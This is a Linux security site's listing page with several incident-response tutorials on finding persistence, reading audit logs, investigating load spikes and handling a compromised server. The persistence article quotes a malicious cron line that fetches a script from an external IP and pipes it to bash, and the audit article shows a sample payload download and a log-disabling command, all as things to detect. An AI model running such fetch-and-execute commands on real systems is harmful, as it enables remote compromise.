Explore top 10 tips to secure your open-source projects now. Read More
×
Stay Ahead With Linux Security HOWTOs
How to Harden My Filesystem
system hardening open source security
system hardening open source security We all spend a lot of time defending our systems from external threats, but the amount of damage an attacker can cause often depends on what happens after they get in. A single compromised account doesn't always lead to a major incident. The real danger begins when that account has far more access than it actually needs. That's exactly what the principle of least privilege is designed to prevent. By limiting users, services, and applications to only the permissions required for their jobs, you...
Jul 20, 2026
How to Learn Tips and Tricksthreat detection system monitoring
threat detection system monitoring For small security and IT teams, the "enterprise" dream of a fully automated SIEM often feels like a distant luxury. It’s a vision built on massive budgets and dedicated engineering teams—things that, frankly, most of us don't have. But here is the reality: you don’t need a six-figure platform to maintain a secure environment. . Linux systems are, by design, incredibly verbose. Every time a user authenticates, a process executes, or a configuration file changes, your system creates a record of...
Jul 17, 2026
How to Learn Tips and Tricksnetwork security centralized logging
network security centralized logging Linux systems generate a steady stream of authentication, service, kernel, and application logs. On most systems, those logs never leave the machine that created them. If you're responsible for ten or twenty servers, that means checking each one separately. If one disappears before you can investigate it, its logs may disappear with it. Centralized logging solves that by sending log messages to another server as they're created. Instead of searching every machine, you have one place to review...
Jul 15, 2026
How to Secure My Networksecurity advisory audit
security advisory audit When you’re digging through an incident, your logs are the only thing you can actually trust. The problem is, attackers know that too. If someone gets root on your server, their first move is almost always to delete the evidence and cover their tracks. . If you aren't actively protecting your logs, you're basically flying blind the second a breach happens. It’s a miserable feeling to realize you have no idea what an attacker did because they wiped the logs before you even got there. In this...
Jul 11, 2026
How to Harden My Filesystemlog analysis security incident
log analysis security incident When an attacker breaks into a Linux system, their work is rarely done. Usually, the real work starts after the initial exploit: hiding their tracks. If you’re a Linux admin or security analyst, there is nothing worse than logging in, running a few commands, and realizing the logs aren't telling the whole story. When logs are missing or look "off," your primary source of truth is compromised. This guide covers how to handle that situation. We’ll walk through the workflow you need to determine...
Jul 10, 2026
Refine HOWTOs
X Clear Filters
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
Should Linux servers automatically install security updates?
Loading...
Explore Latest Linux Security HOWTOs
We found 5 articles for you...
160
Linux securityincident responsemalware detectionHow to Investigate Linux Persistence During Incident Response
You’re staring at a service or a cron job that’s giving you a bad feeling. Stop. The most dangerous thing you can do right now is act on that gut feeling alone. Linux systems are inherently noisy—package managers, configuration management, and the occasional "quick fix" from a colleague can all leave weird artifacts behind. . Step 1: Check Whether the File or Service Looks Normal When I'm looking at a scheduled task, I look for logic, not just anomalies. A cron job running /usr/local/bin/backup.sh at 2:00 AM? That makes sense. It fits the normal rhythm of a server. But if I see */10 * * * * curl http://198.x.x.x/x.sh | bash , the mood changes. Production servers rarely need to download and execute code from an external IP every ten minutes. Until someone can explain why it's there, I treat it like a priority. Useful commands # View system cron jobs cat /etc/crontab ls -la /etc/cron.* # View a user's cron jobs crontab -l # List active systemd services systemctl list-units --type=service # View a service definition systemctl cat suspicious.service Production servers rarely need to pull and execute code from an external IP every ten minutes. It’s possible there’s a legitimate business reason, but I’ve rarely seen one. Until someone can explain it to me, I treat it as a priority. If you find a service launching from a temporary directory like /tmp or a hidden folder in a user’s home, pause. Those aren't common locations for long-lived system services, and they deserve particular scrutiny. Step 2: Check Who Owns the File or Service This is usually where I find my first hard lead. Ownership tells you who the system believes is responsible for a file. If a service that's supposed to belong to root is owned by dev_user1 , you've found a trust boundary that's been crossed. Useful commands ls -l /path/to/file stat /path/to/file systemctl status suspicious.service If a service is supposed to be owned by root , but it’s owned by dev_user1 , you’ve found a boundary violation. During incident response, treat unexplained changes as potentially malicious until you can rule them out. If a web server account like www-data owns a startup script that runs as root , that’s a strong lead worth investigating further because it breaks an expected trust boundary. Don't overthink it: if the owner doesn't match the function, note it down. Step 3: Find Out When It Was Created or Modified Everything on a Linux system leaves a footprint. Don't look at that file in isolation. Don't investigate timestamps in isolation. Correlate them with authentication logs and sudo activity. That's how isolated clues become an attack timeline. Useful commands stat /etc/systemd/system/suspicious.service journalctl --since "2025-06-15 14:00" --until "2025-06-15 14:10" journalctl -u suspicious.service last grep sudo /var/log/auth.log Example Investigation Timeline Example Timeline 14:01 – SSH login from an unfamiliar IP 14:03 – User runs sudo 14:05 – New systemd service appears 14:06 – Service establishes an outbound connection One event isn't enough to call it malicious. Together, they tell a much more convincing story. Step 4: See What the Service or Script Actually Does Service names are cheap. Behavior is much harder to fake. Follow every layer until you reach the executable that's actually doing the work. Useful commands systemctl cat suspicious.service cat /etc/systemd/system/suspicious.service less /path/to/script.sh file /path/to/binary strings /path/to/binary Is it spawning a shell? Are you seeing a base64-encoded string that’s meant to be piped into bash ? Then, follow the chain. If ExecStart launches a shell script, open that script. If that script launches another binary, inspect that, too. Persistence often hides one layer deeper than the service file itself. If you see layers of decoding, ask yourself why. Admins rarely obfuscate their scripts;attackers do it to kill your momentum. Check what triggered it, too. A script that sits there is one thing, but one that’s actively firing every five minutes and reaching out to an external host? That’s not a configuration issue. That’s an active connection. Confirm Whether It's Actually Malicious You’ve got a list of anomalies. Now, you need to turn those observations into a verdict. This is where you stop guessing and start building a case. Step 5: Check Whether Linux Recognizes the File If you’re looking at a suspicious binary in a system directory, don’t just stare at it—ask the system if it’s supposed to be there. Use dpkg -S on Debian systems or rpm -qf on RPM systems to see if the file is tracked by a package. # Debian/Ubuntu dpkg -S /path/to/file # RHEL/CentOS/Fedora rpm -qf /path/to/file But look, if the package manager doesn't recognize a file, don't automatically scream "hacker." Plenty of companies use custom scripts, manual builds, or legacy junk that isn't managed by a package manager. If the system doesn't know about it, it just means you don't have a clear answer yet. Check with your team—if nobody knows why that file is there, then you can start worrying. Step 6: Don't Trust the Name Alone Attackers love names like dbus-monitor.service or system-sync.service . They’re betting that you’ll glance at the list, see something that sounds like an OS component, and keep scrolling. When I see names that sound "native," I get really suspicious. Compare the service description to the actual path of the binary. systemctl status suspicious.service systemctl cat suspicious.service readlink -f /proc/$(pidof suspicious_binary)/exe If the description says "Network Management Tool" but the binary is executing out of /home/user/.cache/ , you’ve found the mismatch. Don't look at the name—look at where the thing is actually living. Step 7: Check for Other Ways the Attacker Could Return Persistence is rarely a one-hitwonder. If an attacker gets into your system, they usually set up a few different ways back in. If you find one cron job and call it a day, you’ve basically just cleared the way for them to use their other entry point. Once I find one hook, I assume there are more. I start digging into /etc/crontab , checking authorized_keys for every user on the box, and scanning /etc/passwd for accounts I don't recognize. Assume they have a backup plan. If you only clean up one thing, you haven't actually kicked them off the system—you’ve just annoyed them. cat /etc/crontab crontab -l find /etc/systemd -name "*.service" find /home -name authorized_keys cat /etc/passwd Step 8: Save the Evidence Before You Remove Anything This is the hardest part. You’re stressed, you want the attacker off your machine, and it is incredibly tempting to just rm -rf the problem away. Don't. Incident Response Tip Removing a malicious file may stop the immediate problem, but it also destroys valuable evidence. Before making changes, preserve the file, calculate its hash, and collect the surrounding logs. Those artifacts may be the key to understanding how the attacker gained access—or proving what happened later. Useful commands sha256sum suspicious_file cp suspicious_file /secure/evidence/ journalctl -u suspicious.service > service.log tar czf evidence.tar.gz suspicious_file service.log What You've Learned About Investigating Linux Persistence If you’ve made it this far, you’ve stopped looking for "the bad file" and started looking for "the story." That’s the most important shift you can make in incident response. When you stop treating persistence mechanisms as isolated puzzles and start treating them as parts of a larger narrative, the game changes. You stop asking if a specific cron job is "malicious" and start asking why it’s there, how it got there, and what else it’s connected to. The reality of Linux IR is that there is no magical tool that willscream "Attacker!" at you. You are going to spend a lot of time looking at boring, standard files—until, suddenly, you aren't. Your job isn't to be a human antivirus scanner. Your job is to be the person who notices that one weird inconsistency in a sea of expected behavior. Remember: you don't need to know everything about Linux to start hunting. You just need to know what "normal" looks like on your machines. When you understand the rhythm of your own systems, the things that don't belong stand out on their own. So, the next time you find something that feels off, don't rush to hit delete. Take a breath, document the state of the system, and follow the breadcrumbs. It’s rarely about the one file you found; it’s about the path you’re about to uncover. Want more Linux incident response walkthroughs? Subscribe to our newsletter for practical investigations, detection techniques, and real-world Linux security scenarios you can apply in your own environment. . Step 1: Check Whether the File or Service Looks Normal When I'm looking at a scheduled task, I. you’re, staring, service, that’s, giving, feeling, danger. . Dave Wreski
Jul 03, 2026
•
How to Harden My Filesystem
166
incident responselinuxsecurity analysisHow to Read Linux Audit Logs During an Intrusion
When a security alert fires, the panic often sets in before the analysis. Many administrators instinctively reach for /var/log/auth.log or journalctl , but those logs tell only a partial story. They document successful logins and authentication attempts, but they rarely capture the granular "how" of a post-compromise environment. To truly reconstruct an attack, you need to master audit logs . Unlike standard authentication logs, Linux audit logs (managed by auditd ) record system-level activity, including specific syscalls, file modifications, and command executions. In this guide, we’ll move beyond administrative documentation to show you exactly how to reconstruct an attacker’s activity during a live investigation. . Quick Incident Response Checklist Define the scope: Identify the first suspicious timestamp. Find the entry point: Search for USER_LOGIN events. Anchor the AUID: Capture the original user ID to track activity post-escalation. Trace execution: Filter EXECVE events for the auid . Audit persistence: Check for file modifications in ~/.ssh/authorized_keys or cron . Detect tampering: Inspect CONFIG_CHANGE events. Correlate: Match audit events with firewall and EDR logs. What Linux Audit Logs Reveal (The Forensic Anatomy) Before running commands, understand that auditd creates a chain of evidence. Every action (like running whoami ) generates a syscall, and every syscall is tagged with an Event ID and an auid . The auid (Audit User ID) is your "golden thread." Even if an attacker runs sudo su - to become root, their original auid remains the same. You aren't tracking a changing uid ; you are tracking the session's source. Step-by-Step: Reconstructing an Intrusion Let’s walk through a standard attack: The Compromised Session. Step A: Identify the Entry Start by searching for the login event around your alert time : Bash ausearch -m USER_LOGIN -ts 2026-06-29:02:10 -i Look for: The auid field in the output. If the auid is 1001 , every subsequent command you search for will use that specific ID. Step B: Follow the Attacker (The AUID Trail) Once you have the auid , you can ignore the uid (which will switch to 0 when they become root) and follow their specific trail: Bash ausearch -ua 1001 -i Sample Output: Plaintext type=EXECVE msg=audit(1656500000.123:456): argc=3 a0="curl" a1="-o" a2="payload.sh" ... This shows the attacker downloading a script. The auid links this activity directly to the 1001 session, even if they are currently acting as root. Step C: Identify Sensitive File Changes Attackers follow a pattern when establishing persistence or escalating. Use this table to prioritize what to investigate : File Why Attackers Target It /etc/passwd To create or alter accounts for permanent access. /etc/shadow To crack password hashes or escalate privileges. /etc/sudoers To grant themselves permanent sudo privileges. ~/.ssh/authorized_keys To maintain persistence via SSH keys. To find these, use: Bash ausearch -f /etc/sudoers -i Step D: Investigate Privilege Escalation You will often see related syscalls. When an attacker elevates privileges, look for the sequence: execve : The execution of sudo or pkexec . setuid : The transition of the effective uid to 0 . chmod / chown : Attempts to manipulate file permissions to ensure their "backdoor" remains accessible. Correlation: The Key to Context Audit logs are powerful, but they are not a standalone truth. To verify the "why," correlate them: Network Logs: If audit logs show a curl to a suspicious IP, check your firewall logs to see if that connection was successful or blocked. EDR Process Trees: Compare the pid from your audit record to your EDR telemetry to see the fullparent-child relationship of the processes. FIM (File Integrity Monitoring): If you see a file access in the audit log, verify if your FIM tool flagged the file's hash as changed. Common Investigation Mistakes Chasing the uid : Never follow the uid . It resets when an attacker uses sudo . Always stick to the auid . Missing CONFIG_CHANGE : Sophisticated attackers will run auditctl -e 0 to disable logging. If you see a gap in your logs, search ausearch -m CONFIG_CHANGE to see if the logging service was tampered with. Forgetting Timezones: Ensure your ausearch timestamps match your system's UTC or local time settings to avoid missing the window. Final Thoughts The next time an alert fires, don’t stop at the authentication logs. Audit logs can reveal every command an attacker executed, every sensitive file they touched, and every privilege escalation path they navigated. By shifting your focus from "did they log in?" to "what did they do after they logged in?", you transform audit logs from simple compliance records into a high-fidelity forensic trail. Are you ready to harden your environment? Subscribe to the LinuxSecurity Newsletter for upcoming tutorials on writing custom audit.rules and building automated detection logic for your SIEM. Related Reading Auditd vs eBPF: Effective Strategies for Modern Linux Monitoring Linux Logs Often Miss Critical Attack Details and Detection Gaps Understanding Log Management and Analysis Tools for Linux Systems Effective File Integrity Monitoring Techniques for Linux Systems Understanding Linux Persistence Mechanisms and Detection Tools Linux EDR: Essential Tool for Cybersecurity and Incident Response . Learn how to analyze Linux audit logs to uncover activity during security incidents and strengthen your incident response.. Linux Audit Logs, Incident Response, Security Analysis, Intrusion Forensics, System Activity Tracking. . MaK Ulac
Jun 29, 2026
•
How to Learn Tips and Tricks
167
incident responseopen-sourceperformance monitoringHow to Investigate High System Load During a Security Incident
When a production server spikes at 99% CPU or the disk starts grinding, the knee-jerk reaction is usually to blame a bad code push or a runaway backup job. But if you’ve spent enough time in security incident response, you know that "performance issues" are often the first sign that you’re dealing with Linux malware. . If you don't have a systematic way to look past the performance graphs, you’re just guessing. Here is how you use Linux commands to peel back the layers when a system starts acting erratically. Understanding What "Normal" Load Means Before you touch a command, figure out what changed. A lot of ugly-looking spikes in Linux CPU usage end up being backups, software updates, or some forgotten batch job that nobody documented. Sometimes it's worse. The point is that you don't know yet. Build a timeline before you start chasing theories. When did the load increase? Did it happen after a deployment? Is it one server or twenty? The answers usually tell you where to look next. Once you've got that, start identifying what's actually consuming the resources. Step 1: Identify the Resource Under Stress Stop looking at the load average and start looking at the character of the load. Use standard Linux commands to isolate the bottleneck: CPU: Use the Linux top command or htop to identify the most active tasks. Memory: Run free -h to see if your Linux memory usage is being cannibalized by unauthorized processes. Disk: Run iostat -xz 5 to see if the disk I/O is saturated. Network: Use iftop to see if there is unexpected data movement. Step 2: Find the Process Responsible At some point, every load investigation comes down to a process. Maybe the server is pinned at 100% CPU. Maybe memory usage is climbing until the system starts swapping. Whatever the symptom, the next question is always the same: what's actually consuming the resources? Start by looking at the busiest processes on the system: ps aux --sort=-%cpu | head If memory pressureis the problem, switch your focus: ps aux --sort=-%mem | head Finding the process is only the beginning. The more useful question is how it got there. A process name by itself rarely tells the whole story, which is why I usually follow the process tree next: pstree -p Attackers don't need creative names. A malicious process can blend in perfectly if it's launched from something that looks legitimate. The parent-child relationship often reveals far more than the process name ever will. A service spawning an unexpected shell, a web server launching a binary, or a user process creating background workers are all worth a closer look. Step 3: Investigate the Process Context If a process looks suspicious, don't kill it yet. If it’s a Linux security incident, you might be helping the attacker clear their tracks. Verify location: Use which or ls -lah /proc/ /exe . If the binary is running out of /tmp or /dev/shm , treat it as suspicious until proven otherwise. Check User Context: Run ps -o user,pid,cmd -p . A process running as root that originates from a temporary directory is a massive red flag. Step 4: Detecting Cryptojacking Cryptojacking has become the go-to for attackers because it’s easy money. It doesn't look like an intrusion; it just looks like a hungry application. But miners have a tell: they have to talk to a mining pool. Use the Linux ss command ( ss -tulpn ) or netstat -plant to view your connections. If you see persistent, long-lived connections to foreign IPs on unknown ports, that is your indicator. If a process is consuming 80% CPU and talking to an external host, you have found the source of your Linux malware. Step 5: Check for Persistence Attackers aren't stupid. They know you’ll restart the machine or kill the process, so they need a way to make sure their code comes back. I start with the basics. Run crontab -l for the current user, but don't stop there. Attackers love hiding in the system-wide crons. Go dig through thefiles in /etc/cron.* —I’ve personally caught more than one backdoored script tucked into cron.daily or cron.weekly because the attacker knew a once-a-week execution would keep their resource footprint low enough to dodge most basic alerts. Then, hit the services. Run systemctl list-units --type=service . If you see a service name that looks like a garbled string or just doesn't belong, that’s your lead. Pull the unit file and see what it’s actually executing. It’s almost never a legitimate service; it’s usually just a lazy wrapper script that points to a hidden binary somewhere else on the disk. Step 6: Review Logs for Supporting Evidence When you’re in the middle of a security incident response event, looking at logs feels like a chore, but it’s where the story is actually written. Stop scrolling blindly. Use journalctl -xe to see what the kernel and system have been complaining about. If I suspect a remote breach, my first stop is journalctl -u ssh . I'm looking for the obvious stuff—failed logins that look like brute-force attempts—but keep an eye out for the successful logins from IPs that make no sense. If you see a user you don't recognize, or a sudden sudo elevation right before the resource spike started, you’ve found your entry point. Attackers aren't usually quiet about service installations, either; look for entries that show new binaries being dropped or permissions being changed. It’s the digital equivalent of seeing someone leave muddy footprints all over your clean floor. When to Remediate When you are sure it’s malicious, you may need to kill a Linux process—but don't destroy your evidence first. Before you execute the command to kill a process in Linux ( kill -9 ), make sure you have: Captured the process arguments and environment variables: ps eww -p and cat /proc/ /cmdline . Documented active network connections. Preserved logs and taken screenshots or exports from your EDR. Collected hashes of the suspiciousbinary: sha256sum /path/to/binary . After the adrenaline fades, align your internal procedures with CISA Incident Response & Recovery guidance . If you find a compromised process, cross-reference the behavior with the MITRE ATT&CK Resource Hijacking technique . Final Thoughts on Linux Security High load is a symptom. Whether it’s just a bad database index or a serious breach, the methodology remains the same: keep your head, trace the process, verify the context, and don't take anything at face value. Tools like Red Hat's performance monitoring documentation are there for a reason—master them, and you’ll spend a lot less time guessing. Want more Linux security news, vulnerability analysis, and software supply chain updates? Subscribe to the LinuxSecurity Newsletter and get the latest threats, advisories, and expert insights delivered directly to your inbox. Related Reading How to Diagnose Suspicious Outbound Connections on Linux How to Detect Unauthorized File Changes on Linux GitHub Actions Runner Security on Linux: Risks and Hardening Tips Linux IDS vs. IPS: What's the Difference and Which Do You Need? . Discover effective Linux command techniques to investigate high system load during security incidents and enhance response strategies.. Linux system load, performance issues, investigate security incidents. . Dave Wreski
Jun 23, 2026
•
How to Secure My Network
167
security advisoryincident responsemalware detectionHow to Respond After Detecting a Compromised Linux Server
The first 30 minutes after discovering a compromised Linux server usually decide how much evidence remains available. One rushed reboot or cleanup attempt can wipe logs, terminate malicious processes, or remove network activity that investigators still need to review. Attackers also do not usually stay on one system for long once access is established. Early response is mostly about preserving visibility. Collect process information. Save network connections. Limit access carefully before making major changes to the system. . Step 1: Verify the Server Is Actually Compromised Start by confirming the server is actually compromised. Broken applications, failed deployments, and unstable services can create symptoms that look malicious at first. Early triage is mostly about identifying unauthorized access, suspicious processes, and unexpected network activity before making changes to the system. who w last -a Look closely at: Unknown usernames Source IP addresses you do not recognize Logins at unusual hours Simultaneous sessions from different locations Sessions that remain active longer than expected An SSH login from another country at 3 AM does not automatically confirm compromise, but it should immediately raise questions. The same goes for service accounts logging in interactively when they normally do not. Once login activity looks suspicious, move directly into process inspection. Attackers often leave behind running malware, reverse shells, persistence scripts, or crypto miners. ps auxf top pstree -p This stage is less about memorizing process names and more about spotting behavior that feels wrong for the system. Things worth investigating include: Suspicious Behavior Why It Matters Processes running from /tmp Malware often hides in temporary directories Randomized process names Attackers rename malware to avoid detection Unexpected parent-child relationships A web server spawning shells is a bad sign High CPU usage with no explanation Common with crypto mining malware Shells started by application users May indicate command execution abuse A compromised web server spawning /bin/bash underneath an Apache or Nginx process deserves immediate attention. After checking processes, inspect network activity. A server talking to unfamiliar systems or listening on unexpected ports may already be under remote control . ss -plant lsof -i -P -n Pay attention to: Unknown listening ports Outbound connections to unfamiliar IPs Established sessions with cloud VPS providers Reverse shell behavior Services binding to unusual interfaces A reverse shell often appears as a process maintaining an outbound connection to a remote host over a strange high-numbered port. If the server normally only handles web traffic but suddenly maintains persistent outbound sessions to external infrastructure, that is not normal operational behavior. Step 2: Do Not Reboot the Server Yet In most cases, rebooting a compromised Linux server too early destroys valuable evidence . Memory-resident malware disappears. Active network connections vanish. Temporary files get deleted. Shell history stored only in memory may never be recoverable again. A reboot can also terminate the exact malicious process you were trying to investigate. That sounds helpful until you realize it removes the ability to understand what the attacker was doing, how they got in, and whether they still have access somewhere else. The following artifacts may disappear after a reboot: RAM-based malware Active reverse shells Running attacker processes Unsaved shell history Temporary files under /tmp Active network sessions Evidence tied to process memory Avoid rebooting the server unless the situation is actively getting worse. Preserve logsfirst. Save process information. Capture active network connections before changing services or killing processes. In ransomware or destructive attacks, emergency shutdowns may still become necessary. Outside of those situations, immediate reboots usually create more problems for the investigation. Step 3: Isolate the Server Carefully Most compromised servers should be isolated quickly, but investigators still need access to the system. The goal is to limit attacker movement without cutting off visibility completely. Good containment limits external access while keeping the server reachable for evidence collection and review. Good Containment Methods Action Why It Helps Remove the server from the load balancer Prevents users from reaching a compromised application Restrict inbound traffic with firewall rules Limits new attacker access Isolate the system in a dedicated VLAN Reduces lateral movement risk Block internet egress traffic Stops outbound command-and-control communication Preserve secure SSH access Allows investigators to continue evidence collection A cloud workload might be isolated by changing security groups. An on-premises server might move into a quarantine VLAN. The exact method changes between environments, but the objective stays the same. Bad Containment Methods Some responses create more problems than the attackers themselves. Pulling the power cable Wiping the virtual machine immediately Deleting suspicious files before analysis Restarting services blindly Running cleanup scripts without evidence collection Deleting malware immediately feels productive, but it often destroys indicators investigators need later. The same malicious file may reveal persistence methods, attacker tooling, or lateral movement paths across the environment. Containment should slow the attacker downwithout destroying the evidence trail. Step 4: Capture Volatile Evidence Immediately Volatile evidence disappears fast. Running processes terminate. Network connections close. Logs rotate. This is the stage where responders start preserving everything they may need later for investigation, reporting, or legal review. Begin with process information. Save Process Information These commands create snapshots of currently running processes. ps auxf > /root/processes.txt pstree -p > /root/pstree.txt The redirected output preserves the process tree exactly as it existed during the investigation. That matters because attackers often terminate malware once they realize they have been detected. Move next into network evidence. Save Network Connections ss -plant > /root/network_connections.txt lsof -i -P -n > /root/open_sockets.txt This helps identify: Remote command-and-control infrastructure Reverse shells Internal lateral movement Suspicious listening services Unexpected outbound sessions A single established connection to an unfamiliar VPS provider can become the clue that ties the compromise together later. Then, preserve user activity. Save Logged-In User Activity who > /root/logged_in_users.txt last -a > /root/login_history.txt Historical login records often reveal how long the compromise existed before detection. Attackers regularly use valid credentials after initial access, especially when moving laterally. Logs should also be preserved before rotation occurs. Preserve Logs Before Rotation cp -r /var/log /root/log-backup journalctl > /root/journalctl.txt Linux systems rotate logs automatically. A busy server may overwrite critical authentication or application records quickly , especially during active attacks. Useful logs commonly include: Log Source What It Reveals /var/log/auth.log SSH logins and failed authentication /var/log/secure Security-related events on RHEL-based systems journalctl Systemd event history Web server logs Exploitation attempts and suspicious requests Cron logs Unauthorized scheduled tasks At this stage, documentation matters almost as much as evidence collection. Record timestamps. Save commands used during the investigation. Keep notes on every change made to the server. Step 5: Check for Persistence Mechanisms Attackers rarely compromise a server and leave voluntarily. Persistence mechanisms help them regain access after reboots, password resets, or partial cleanup efforts. This is why compromised systems often appear clean at first and then become compromised again days later. Cron jobs are one of the most common persistence methods on Linux systems. Inspect Cron Jobs crontab -l ls -la /etc/cron* Look for: Scripts executing from /tmp Obfuscated shell commands Base64-encoded payloads Unknown scheduled jobs Tasks running as root unexpectedly Attackers like cron because it survives reboots and blends into normal system administration. SSH keys are another common persistence method, especially after credential theft. Review SSH Keys cat ~/.ssh/authorized_keys Unauthorized SSH keys allow attackers to reconnect without passwords. Compare keys against known administrators and remove anything unexplained only after preserving copies for investigation. Persistence also appears inside systemd services. Inspect Systemd Services systemctl list-units --type=service systemctl list-unit-files Suspicious services often: Use vague names Restart automatically Execute scripts from unusual directories Launch hidden shells or networking tools A fake service named system-update.service launching a binary from /tmp/.cache should not be ignored. Startup scripts deserve inspection too. Check StartupScripts Common locations include: /etc/profile /etc/rc.local /etc/init.d/ /etc/bash.bashrc Attackers sometimes inject commands directly into startup scripts so malware launches every time a user logs in or the server boots. Kernel-level persistence is harder to detect and far more dangerous. If root access was obtained, trust in the operating system itself becomes questionable. Step 6: Determine How the Attackers Got In Understanding the initial entry point matters because cleanup without fixing the original weakness usually leads to reinfection. Attackers rarely use complicated techniques when simple exposure works. The most common Linux compromise paths include: Exposed SSH services Weak or reused passwords Vulnerable web applications Public-facing admin panels Credential theft through phishing Unpatched software packages Default credentials left unchanged Authentication logs provide a good starting point. lastb grep "Failed password" /var/log/auth.log Large numbers of failed SSH logins may indicate brute-force activity. A successful login immediately after repeated failures deserves investigation. Web servers should also be reviewed carefully. Exploited applications often leave traces in access logs. Things to look for include: Indicator Possible Meaning Requests containing long encoded strings Command injection attempts Requests to unknown PHP or JSP files Web shell activity POST requests to admin endpoints Credential abuse Repeated exploit attempts Automated scanning Outdated packages create another common entry point. Attackers routinely target publicly known vulnerabilities within days of disclosure. The longer internet-facing systems remain unpatched, the higher the risk becomes. The investigation may eventually show that the compromise began outside the server itself. Stol FinalThoughts A compromised Linux server can turn into a larger incident quickly if the response is rushed. Reboots, cleanup attempts, and configuration changes made too early often remove the evidence investigators still need. Early response work is mostly about preserving visibility long enough to understand the scope of the compromise. Save process data. Preserve logs. Identify active connections. Check whether the attacker established persistence or moved into other systems. A server may also appear stable after basic remediation while the original access path still exists. Unpatched applications, exposed admin services, stolen SSH keys, and reused credentials commonly lead to repeated compromise. In higher-severity incidents, rebuilding from a trusted image is often safer than attempting partial cleanup on a compromised host. Especially after root-level access or suspected persistence inside the operating system. FAQ Should I disconnect a compromised Linux server from the network immediately? Usually, yes, but isolation should be controlled. The goal is to limit attacker movement while preserving evidence and maintaining investigator access. Instead of powering the server off immediately, restrict inbound and outbound traffic carefully. Remove the system from production traffic if possible while preserving secure access for forensic review. Should I reboot a hacked Linux server? Usually no. Rebooting destroys volatile evidence, including memory artifacts, active attacker sessions, temporary malware files, and live network connections. Exceptions exist during destructive ransomware events or situations where active compromise threatens other systems immediately. What logs should I check after a Linux server compromise? Start with authentication and system logs. Common sources include: /var/log/auth.log /var/log/secure journalctl Apache or Nginx access logs Cron logs Audit logs Application logs These logs help identify loginactivity, exploitation attempts, persistence, and lateral movement. How do attackers maintain persistence on Linux servers? Attackers commonly maintain persistence through: SSH authorized keys Cron jobs Systemd services Startup scripts Web shells Kernel modules Hidden user accounts Persistence mechanisms are designed to survive reboots and partial cleanup. Can a compromised Linux server ever be trusted again? Sometimes, but root-level compromise changes the situation significantly. If attackers gained administrative access, complete trust in the operating system may be impossible to restore confidently. Many organizations rebuild compromised systems entirely instead of attempting a deep cleanup. What is the first thing to collect during incident response? Volatile evidence should be collected first. That usually includes: Running processes Active network connections Logged-in users Memory artifacts Open sockets Authentication logs This information disappears quickly once systems reboot or attackers detect investigation activity. Related Reading What Is SELinux? A Practical Take for Linux Admins Understanding Log Management and Analysis Tools for Linux Systems Top Linux Vulnerability Scanners in 2026: A Guide to Open-Source Security Tools Why CI/CD Pipelines Became Targets in Software Supply Chain Attacks RubyGems Attack Highlights Open Source Supply Chain Risks for Linux Teams . Step 1: Verify the Server Is Actually Compromised Start by confirming the server is actually comprom. first, minutes, discovering, compromised, linux, server, usually, decide, evidence. . Dave Wreski
May 28, 2026
•
How to Secure My Network
167
incident responseopen sourcesecurity toolsKali Linux Tutorial: Using Pentesting Tools And Best Practices
Kali Linux turns 10 this year, and to celebrate, the Linux penetration testing distribution has added defensive security tools to its arsenal of open-source security tools. . It remains to be seen if Kali Purple will do for defensive open source security tools what Kali Linux has done for open source pentesting, but the addition of more than 100 open source tools for SIEM , incident response , intrusion detection and more should raise the profile of those defensive tools. For now, Kali is primarily known for its roughly 600 open source pentesting tools, allowing pentesters to easily install a full range of offensive security tools. In this article, we’ll focus primarily on how to use this powerful OS to run a pentest and mistakes to avoid. We’ll give you an overview of what can be achieved with Kali Linux using a short selection of pre-installed tools. While this guide serves as an introduction to common pentesting phases , with practical examples that highlight best practices, it’s not a substitution for a complete professional pentesting methodology. . Explore Kali Linux's pentesting tools and best practices for effective security assessments and defensive measures.. linux, turns, celebrate, penetration, testing, distribution. . Brittany Day
May 06, 2023
•
How to Secure My Network
167
digital forensicsincident responseUnix systemsKey Procedures for Conducting Forensic Analysis on Unix Systems
This document, written by Dave Dittrich, provides a great foundation for performing a postmortem on your box once it's been rooted.. . This paper, written by Sarah Lang, details crucial procedures for performing forensic investigations on breached Linux environments.. Forensic Analysis, Unix Systems, Digital Forensics, Incident Response. . Anthony Pell
Nov 29, 2004
•
How to Secure My Network
160
incident responseOpenBSDUnixIncident Response Tools For Unix: OpenBSD, Linux, And More
This article is the first in a three-part series on tools that are useful during incident response and investigation after a compromise has occurred on a OpenBSD, Linux, or Solaris system.. . Explore the world of Unix systems through this insightful introduction to key incident response tools, aimed at improving security and optimizing efficiency. Incident Response Tools, Unix Security, System Investigation. . Anthony Pell
Nov 23, 2004
•
How to Harden My Filesystem
167
network securityincident responserisk assessmentDeveloping a Comprehensive Network Security Policy Guide
This documentation discusses how one can correctly creat a network security policy. This document is divided into three areas: preparation, prevention, and response.. . Establishing a solid network security policy is vital for protecting digital assets. Focus on preparation, prevention, and response to safeguard your organization. Network Security, Policy Guidelines, Risk Management. . Anthony Pell
Nov 23, 2004
•
How to Secure My Network
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
Should Linux servers automatically install security updates?
Search Topics
Powered By
Linux Security - Your source for Top Linux News, Advisories, HOWTOs and Feature Releases
QUICK LINKS
subscribe to newsletters!
Like staying secure? So do we.
Sign up for updates, tips, and alerts!